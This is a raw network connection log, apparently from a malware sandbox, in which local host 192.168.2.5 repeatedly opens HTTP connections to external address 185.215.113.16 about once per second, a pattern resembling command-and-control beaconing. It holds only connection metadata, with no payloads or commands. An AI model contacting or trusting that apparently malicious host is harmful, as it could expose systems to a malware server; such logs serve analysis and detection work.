Sep 26, 2024 21:33:07.335755110 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.335850000 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.335860968 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.335870981 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.335880995 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.335901976 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.335930109 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.348031998 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.348050117 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.348061085 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.348098993 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.348109007 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.348119020 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.348129988 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.348155022 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.348192930 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.348512888 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.348524094 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.348566055 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.348576069 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.348587036 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.348597050 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.348607063 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.348617077 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.348628044 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.348659992 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.384284019 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.384326935 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.384337902 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.384366035 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.384408951 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.384661913 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.384731054 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:08.373466015 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:08.373986006 CEST	49714	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:08.394504070 CEST	80	49714	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:08.394593954 CEST	49714	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:08.394782066 CEST	49714	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:08.398957014 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:08.399025917 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:08.404679060 CEST	80	49714	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:09.123121977 CEST	80	49714	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:09.123261929 CEST	49714	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:09.234205961 CEST	49714	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:09.234823942 CEST	49715	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:09.244791031 CEST	80	49714	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:09.244904041 CEST	49714	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:09.245009899 CEST	80	49715	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:09.245085001 CEST	49715	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:09.245335102 CEST	49715	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:09.251017094 CEST	80	49715	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:09.956790924 CEST	80	49715	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:09.960925102 CEST	49715	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:10.071518898 CEST	49715	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:10.076752901 CEST	80	49715	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:10.300849915 CEST	80	49715	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:10.300916910 CEST	49715	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:10.411108971 CEST	49715	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:10.411597967 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:10.416657925 CEST	80	49715	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:10.416743994 CEST	49715	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:10.417332888 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:10.417426109 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:10.421025038 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:10.426095009 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:11.169722080 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:11.169857025 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:11.170639038 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:11.176716089 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:11.407201052 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:11.407318115 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:11.514384985 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:11.514657974 CEST	49719	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:11.520363092 CEST	80	49719	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:11.520478010 CEST	49719	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:11.520617962 CEST	49719	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:11.520936966 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:11.521024942 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:11.525540113 CEST	80	49719	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:12.239376068 CEST	80	49719	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:12.239435911 CEST	49719	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:12.240130901 CEST	49719	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:12.244889975 CEST	80	49719	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:12.570023060 CEST	80	49719	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:12.570282936 CEST	49719	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:12.916130066 CEST	49719	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:12.919822931 CEST	49721	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:12.921329975 CEST	80	49719	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:12.921416998 CEST	49719	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:12.924731016 CEST	80	49721	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:12.924815893 CEST	49721	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:12.948611021 CEST	49721	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:12.953650951 CEST	80	49721	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:13.652652025 CEST	80	49721	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:13.652847052 CEST	49721	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:13.653757095 CEST	49721	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:13.658642054 CEST	80	49721	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:13.904603004 CEST	80	49721	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:13.904706955 CEST	49721	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:14.016128063 CEST	49721	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:14.016696930 CEST	49723	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:14.021430016 CEST	80	49721	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:14.021558046 CEST	49721	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:14.021560907 CEST	80	49723	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:14.021636009 CEST	49723	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:14.021836042 CEST	49723	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:14.027014017 CEST	80	49723	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:14.729381084 CEST	80	49723	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:14.729439974 CEST	49723	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:14.730767965 CEST	49723	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:14.736746073 CEST	80	49723	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:14.960892916 CEST	80	49723	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:14.961035967 CEST	49723	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:15.133008003 CEST	49723	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:15.133501053 CEST	49725	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:15.164923906 CEST	80	49725	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:15.165019989 CEST	80	49723	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:15.165137053 CEST	49723	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:15.165153980 CEST	49725	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:15.169286013 CEST	49725	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:15.174164057 CEST	80	49725	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:15.873456001 CEST	80	49725	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:15.873521090 CEST	49725	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:15.874495983 CEST	49725	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:15.880889893 CEST	80	49725	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:16.121100903 CEST	80	49725	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:16.121165037 CEST	49725	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:16.232984066 CEST	49725	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:16.233330965 CEST	49726	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:16.239854097 CEST	80	49726	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:16.239869118 CEST	80	49725	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:16.239947081 CEST	49726	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:16.239988089 CEST	49725	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:16.240159988 CEST	49726	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:16.244910002 CEST	80	49726	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:16.958602905 CEST	80	49726	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:16.959261894 CEST	49726	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:16.961110115 CEST	49726	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:16.965934992 CEST	80	49726	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:17.237272024 CEST	80	49726	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:17.240298033 CEST	49726	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:17.342247009 CEST	49726	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:17.342571974 CEST	49727	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:17.347393036 CEST	80	49726	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:17.347827911 CEST	80	49727	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:17.347927094 CEST	49726	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:17.347992897 CEST	49727	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:17.348145962 CEST	49727	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:17.352958918 CEST	80	49727	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:18.058794975 CEST	80	49727	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:18.059022903 CEST	49727	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:18.059864998 CEST	49727	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:18.064836025 CEST	80	49727	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:18.290765047 CEST	80	49727	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:18.290862083 CEST	49727	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:18.404881001 CEST	49727	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:18.405318022 CEST	49728	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:18.410191059 CEST	80	49727	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:18.410306931 CEST	49727	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:18.410356045 CEST	80	49728	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:18.410444975 CEST	49728	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:18.410620928 CEST	49728	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:18.415842056 CEST	80	49728	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:19.136058092 CEST	80	49728	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:19.136204958 CEST	49728	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:19.136811018 CEST	49728	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:19.141796112 CEST	80	49728	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:19.381850004 CEST	80	49728	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:19.381912947 CEST	49728	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:19.498172998 CEST	49728	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:19.498461008 CEST	49730	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:19.503453970 CEST	80	49728	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:19.503468990 CEST	80	49730	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:19.503537893 CEST	49728	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:19.503559113 CEST	49730	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:19.503753901 CEST	49730	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:19.508640051 CEST	80	49730	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:20.193074942 CEST	80	49730	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:20.193224907 CEST	49730	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:20.193856955 CEST	49730	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:20.198808908 CEST	80	49730	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:20.416703939 CEST	80	49730	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:20.416884899 CEST	49730	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:20.549377918 CEST	49730	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:20.549691916 CEST	49731	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:20.554624081 CEST	80	49731	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:20.554652929 CEST	80	49730	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:20.554703951 CEST	49731	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:20.554744005 CEST	49730	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:20.556564093 CEST	49731	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:20.561480045 CEST	80	49731	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:21.281011105 CEST	80	49731	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:21.281317949 CEST	49731	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:21.281878948 CEST	49731	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:21.286834002 CEST	80	49731	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:21.513554096 CEST	80	49731	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:21.513789892 CEST	49731	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:21.624603033 CEST	49731	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:21.625336885 CEST	49732	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:21.629976988 CEST	80	49731	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:21.630105019 CEST	49731	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:21.630184889 CEST	80	49732	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:21.630296946 CEST	49732	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:21.630637884 CEST	49732	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:21.635631084 CEST	80	49732	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:22.357511997 CEST	80	49732	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:22.357594013 CEST	49732	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:22.358398914 CEST	49732	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:22.363348961 CEST	80	49732	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:22.607094049 CEST	80	49732	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:22.607291937 CEST	49732	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:22.719132900 CEST	49732	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:22.719432116 CEST	49733	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:22.724298000 CEST	80	49732	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:22.724379063 CEST	49732	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:22.724699020 CEST	80	49733	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:22.724775076 CEST	49733	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:22.724939108 CEST	49733	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:22.729857922 CEST	80	49733	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:23.444984913 CEST	80	49733	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:23.445214987 CEST	49733	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:23.446398973 CEST	49733	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:23.451324940 CEST	80	49733	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:23.677946091 CEST	80	49733	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:23.678056955 CEST	49733	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:23.800129890 CEST	49733	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:23.805305958 CEST	80	49733	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:23.805435896 CEST	49733	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:23.806063890 CEST	49734	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:23.810880899 CEST	80	49734	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:23.811126947 CEST	49734	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:23.818043947 CEST	49734	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:23.822834969 CEST	80	49734	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:24.514342070 CEST	80	49734	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:24.514594078 CEST	49734	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:24.515600920 CEST	49734	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:24.520528078 CEST	80	49734	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:24.740842104 CEST	80	49734	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:24.740940094 CEST	49734	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:24.843874931 CEST	49734	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:24.844119072 CEST	49735	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:24.849261999 CEST	80	49734	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:24.849397898 CEST	49734	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:24.849518061 CEST	80	49735	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:24.849602938 CEST	49735	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:24.849805117 CEST	49735	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:24.854648113 CEST	80	49735	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:25.559341908 CEST	80	49735	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:25.559773922 CEST	49735	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:25.560769081 CEST	49735	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:25.565632105 CEST	80	49735	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:25.787144899 CEST	80	49735	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:25.787290096 CEST	49735	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:25.888952017 CEST	49735	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:25.889246941 CEST	49736	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:25.894207954 CEST	80	49735	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:25.894275904 CEST	49735	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:25.894332886 CEST	80	49736	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:25.894406080 CEST	49736	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:25.894537926 CEST	49736	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:25.899424076 CEST	80	49736	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:26.593761921 CEST	80	49736	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:26.593976974 CEST	49736	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:26.595630884 CEST	49736	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:26.600637913 CEST	80	49736	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:26.827879906 CEST	80	49736	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:26.828001022 CEST	49736	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:26.944782019 CEST	49736	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:26.944971085 CEST	49737	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:26.950042963 CEST	80	49736	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:26.950138092 CEST	80	49737	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:26.950156927 CEST	49736	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:26.950203896 CEST	49737	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:26.950670004 CEST	49737	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:26.955460072 CEST	80	49737	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:27.655886889 CEST	80	49737	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:27.656094074 CEST	49737	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:27.656985044 CEST	49737	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:27.661750078 CEST	80	49737	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:27.884485006 CEST	80	49737	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:27.884773970 CEST	49737	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:27.998627901 CEST	49737	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:27.998931885 CEST	49738	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:28.004473925 CEST	80	49737	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:28.004565001 CEST	49737	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:28.004870892 CEST	80	49738	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:28.004951954 CEST	49738	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:28.005095959 CEST	49738	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:28.009984016 CEST	80	49738	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:28.704338074 CEST	80	49738	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:28.704415083 CEST	49738	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:28.705328941 CEST	49738	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:28.710163116 CEST	80	49738	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:28.934207916 CEST	80	49738	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:28.934505939 CEST	49738	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:29.045269012 CEST	49738	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:29.045768976 CEST	49739	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:29.051259041 CEST	80	49739	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:29.051274061 CEST	80	49738	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:29.051424980 CEST	49738	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:29.051474094 CEST	49739	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:29.051609039 CEST	49739	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:29.056612968 CEST	80	49739	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:29.742435932 CEST	80	49739	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:29.742748022 CEST	49739	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:29.743969917 CEST	49739	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:29.749008894 CEST	80	49739	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:29.966423035 CEST	80	49739	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:29.966502905 CEST	49739	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:30.081243992 CEST	49739	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:30.081744909 CEST	49740	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:30.086504936 CEST	80	49739	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:30.086616993 CEST	49739	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:30.087080956 CEST	80	49740	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:30.087171078 CEST	49740	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:30.087316036 CEST	49740	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:30.092195988 CEST	80	49740	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:30.805708885 CEST	80	49740	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:30.805869102 CEST	49740	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:30.806677103 CEST	49740	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:30.811532974 CEST	80	49740	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:31.033938885 CEST	80	49740	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:31.036786079 CEST	49740	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:31.152359009 CEST	49740	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:31.152775049 CEST	49741	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:31.158548117 CEST	80	49740	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:31.158593893 CEST	80	49741	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:31.158662081 CEST	49740	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:31.158710003 CEST	49741	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:31.158881903 CEST	49741	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:31.163902998 CEST	80	49741	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:31.916627884 CEST	80	49741	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:31.916771889 CEST	49741	80	192.168.2.5	185.215.113.16
